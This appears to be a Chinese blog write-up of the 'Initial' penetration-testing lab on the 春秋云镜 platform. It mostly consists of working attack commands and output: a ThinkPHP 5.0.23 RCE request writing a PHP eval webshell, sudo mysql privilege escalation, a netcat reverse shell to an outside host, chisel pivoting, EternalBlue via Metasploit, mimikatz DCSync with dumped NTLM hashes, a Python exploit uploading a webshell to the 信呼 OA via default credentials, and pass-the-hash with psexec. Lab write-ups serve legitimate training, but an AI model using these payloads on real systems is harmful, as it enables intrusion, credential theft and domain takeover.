Initial-春秋云镜

39.99.225.174

外网

fscan

start infoscan
39.99.225.174:80 open
39.99.225.174:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.225.174      code:200 len:5578   title:Bootstrap Material Admin
[+] PocScan http://39.99.225.174 poc-yaml-thinkphp5023-method-rce poc1
已完成 2/2

直接扫出来洞了，利用：

POST /index.php?s=captcha HTTP/1.1
Host: 39.99.225.174
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

成功

写一句话进去

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.php

文件在根目录

或者直接综合工具

哥斯拉连接

权限是www-data

提权

sudo -l发现mysql

/var/www/html/ >sudo -l

Matching Defaults entries for www-data on ubuntu-web01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu-web01:
    (root) NOPASSWD: /usr/bin/mysql
/var/www/html/ >

项目	值
当前用户	`www-data`
可执行命令	`/usr/bin/mysql`
执行权限	`root`（无密码）
主机名	`ubuntu-web01`

MySQL 客户端支持 system 命令，可以执行系统命令。当以 root 权限运行 MySQL 时，通过 system 执行的命令也是 root 权限

但是现在这个界面并不是正常终端，反弹出来先

mknod backpipe p && nc vps 4444 0<backpipe | /bin/bash 1>backpipe

升级

python3 -c 'import pty;pty.spawn("/bin/bash")'

进入mysql

sudo mysql

执行

system /bin/bash -p

flag01: flag{60b53231-

看看ip

传fscan扫一下

/ _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.18     is alive
(icmp) Target 172.22.1.21     is alive
[*] Icmp alive hosts len is: 4
172.22.1.15:80 open
Open result.txt error, open result.txt: permission denied
172.22.1.15:22 open
Open result.txt error, open result.txt: permission denied
172.22.1.18:80 open
Open result.txt error, open result.txt: permission denied
172.22.1.21:445 open
Open result.txt error, open result.txt: permission denied
172.22.1.18:445 open
Open result.txt error, open result.txt: permission denied
172.22.1.2:445 open
Open result.txt error, open result.txt: permission denied
172.22.1.21:139 open
Open result.txt error, open result.txt: permission denied
172.22.1.18:139 open
Open result.txt error, open result.txt: permission denied
172.22.1.2:139 open
Open result.txt error, open result.txt: permission denied
172.22.1.21:135 open
Open result.txt error, open result.txt: permission denied
172.22.1.18:135 open
Open result.txt error, open result.txt: permission denied
172.22.1.2:135 open
Open result.txt error, open result.txt: permission denied
172.22.1.18:3306 open
Open result.txt error, open result.txt: permission denied
172.22.1.2:88 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 14
start vulscan
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
Open result.txt error, open result.txt: permission denied
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
Open result.txt error, open result.txt: permission denied
[*] WebTitle http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
Open result.txt error, open result.txt: permission denied
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
Open result.txt error, open result.txt: permission denied
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
Open result.txt error, open result.txt: permission denied
[+] MS17-010 172.22.1.21        (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
Open result.txt error, open result.txt: permission denied
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
Open result.txt error, open result.txt: permission denied
[*] OsInfo 172.22.1.2   (Windows Server 2016 Datacenter 14393)
Open result.txt error, open result.txt: permission denied
[*] WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
Open result.txt error, open result.txt: permission denied
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
Open result.txt error, open result.txt: permission denied
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
Open result.txt error, open result.txt: permission denied
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
Open result.txt error, open result.txt: permission denied
已完成 14/14

主机总览

IP	主机名	开放端口	操作系统	漏洞/备注
172.22.1.2	`DC01.xiaorang.lab`	88, 135, 139, 445	Windows Server 2016 Datacenter	域控 DC，存在 NetBIOS 信息泄漏
172.22.1.15	(未知)	22, 80	(未知)	Web: Bootstrap Material Admin，存在 ThinkPHP 5.0.23 RCE 漏洞 ✅
172.22.1.18	`XIAORANG-OA01.xiaorang.lab`	80, 135, 139, 445, 3306	Windows Server 2012 R2 Datacenter	Web: 信呼协同办公系统 (http://172.22.1.18?m=login)，MySQL (3306)
172.22.1.21	`XIAORANG-WIN7.xiaorang.lab`	135, 139, 445	Windows Server 2008 R2 Enterprise	存在 MS17-010 (永恒之蓝) ✅

代理配置：

vps：

./chisel server -p 6666 --reverse

靶机：

./chisel client vps:6666 R:1080:socks

端口转发（给本地主机做代理）

socat TCP-LISTEN:1081,fork TCP:127.0.0.1:1080

172.22.1.21

fscan扫出来有永恒之蓝，直接利用

proxychains -q msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
run

抓hash

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > kiwi_cmd privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

meterpreter > kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  fb812eea13a18b7fcdb8e6d67ddc205b        514
1106    Marcus  e07510a4284b3c97c8e7dee970918c5c        512
1107    Charles f6a9881cd5ae709abb4ac9ab87f24617        512
1000    DC01$   7eaeefed293a7f2749e4a2078a39fab3        532480
500     Administrator   10cf89a850fb1cdbe6bb432b859164c8        512
1104    XIAORANG-OA01$  a1150e9bc59f1870a80534f2df3d5efc        4096
1108    XIAORANG-WIN7$  7077a067ea3e316d919fa359a51cd460        4096

有域控的hash

500     Administrator   10cf89a850fb1cdbe6bb432b859164c8        512

172.22.1.18

其实当时想的是先去打DC然后拿了hash之后直接登这个，结果开始的时候永恒之蓝老是崩，就先来打这个了

信呼OA普通用户权限getshell方法_信呼oa漏洞-CSDN博客

默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户，密码都是123456

但是直接按照文件的过程来没搞成功，后续发现有exp

import requests
import base64

session = requests.session()
url_pre = 'http://172.22.1.18/'

# 登录 URL
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'

# 将 diaochan/123456 进行 Base64 编码
# diaochan 的 Base64: ZGlhb2NoYW4=
# 123456 的 Base64: MTIzNDU2
# 注意：信呼系统的密码格式是 base64 + '::'（两个冒号）
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'ZGlhb2NoYW4=',     # diaochan 的 Base64
    'adminpass': 'MTIzNDU2',         # 123456 的 Base64
    'yanzm': ''
}

# 上传文件 URL
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'

# 触发漏洞 URL
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid='

print("[*] Logging in with diaochan/123456...")
r = session.post(url1, data=data1)
print(f"[*] Login response: {r.text}")

# 检查登录是否成功
if 'success' not in r.text.lower():
    print("[-] Login failed!")
    exit(1)

print("[+] Login success!")

# 准备一句话木马
shell_content = "<?php @eval($_POST['cmd']);?>"
with open('1.php', 'w') as f:
    f.write(shell_content)

print("[*] Uploading shell...")
with open('1.php', 'rb') as f:
    r = session.post(url2, files={'file': f})

print(f"[*] Upload response status: {r.status_code}")

try:
    resp_json = r.json()
    print(f"[*] Upload response: {resp_json}")
    
    if 'filepath' not in resp_json:
        print("[-] Upload failed! No filepath in response")
        exit(1)
        
    filepath = "/" + resp_json['filepath'].split('.uptemp')[0] + '.php'
    file_id = resp_json['id']
    
    print(f"[+] Uploaded! ID: {file_id}, Path: {filepath}")
    
    # 触发漏洞
    print("[*] Triggering RCE...")
    r = session.get(url3 + str(file_id))
    print(f"[+] Done! Webshell: {url_pre}{filepath}")
    
except Exception as e:
    print(f"[-] Error: {e}")
    print(f"[-] Response text: {r.text[:500]}")

利用默认弱口令登录系统
- 使用默认账户 diaochan / 123456（Base64编码后提交）
- 通过系统登录接口 ?a=check&m=login 完成身份认证
上传一句话木马文件
- 利用系统上传接口 /index.php?a=upfile&m=upload&d=public
- 上传包含 <?php @eval($_POST['cmd']);?> 的PHP文件
- 将临时文件 .uptemp 后缀修改为 .php
触发文件包含/RCE漏洞
- 访问漏洞触发点 /task.php?m=qcloudCos|runt&a=run&fileid=
- 通过参数 fileid 引用已上传的文件ID
- 使系统执行该PHP文件，获得Webshell权限

其实感觉就是之前找的文章的操作过程

蚁剑连接（需要配好代理）

flag

flag02: 2ce3-4813-87d4-

后记：

后续拿到hash之后可以直接登

DC

之前永恒之蓝那台机子拿到了域控的hash，直接横向

proxychains -q python3 psexec.py xiaorang.lab/Administrator@172.22.1.2 -hashes :10cf89a850fb1cdbe6bb432b859164c8

flag：

总结

外网：fscan直接扫出洞，利用后拿到初始www-data权限，sudo -l发现当前用户可以用root执行mysql，因为这个哥斯拉连接的不是正常终端，先反弹出来后用pty之后提权
域内主机：fscan扫到一台域内主机有永恒之蓝，直接利用后抓hash得到域控hash直接横向DC和另外一台域内主机

靶机有永恒之蓝就比较好打，其实在第二次在外网打点的时候尝试直接写文件是失败了的，第一次可能是刚刚好用到了队友的shell？第一次其实是想直接反弹shell的但是执行失败了不清楚是不是空格或者引号的原因，后续直接用综合工具可以打进去。第二个web打点的话其实也是，第一次尝试跟着网上的cve去打也是不成功，是找了对映的exp然后叫AI帮忙修改了一下才进去，后续又想了一下会不会是代理的原因

posted @ 2026-08-18 17:54 Anaxa 阅读(3) 评论(0) 收藏举报

刷新页面返回顶部

一个菜鸡的博客

Initial-春秋云镜

外网

提权

172.22.1.21

172.22.1.18

DC

公告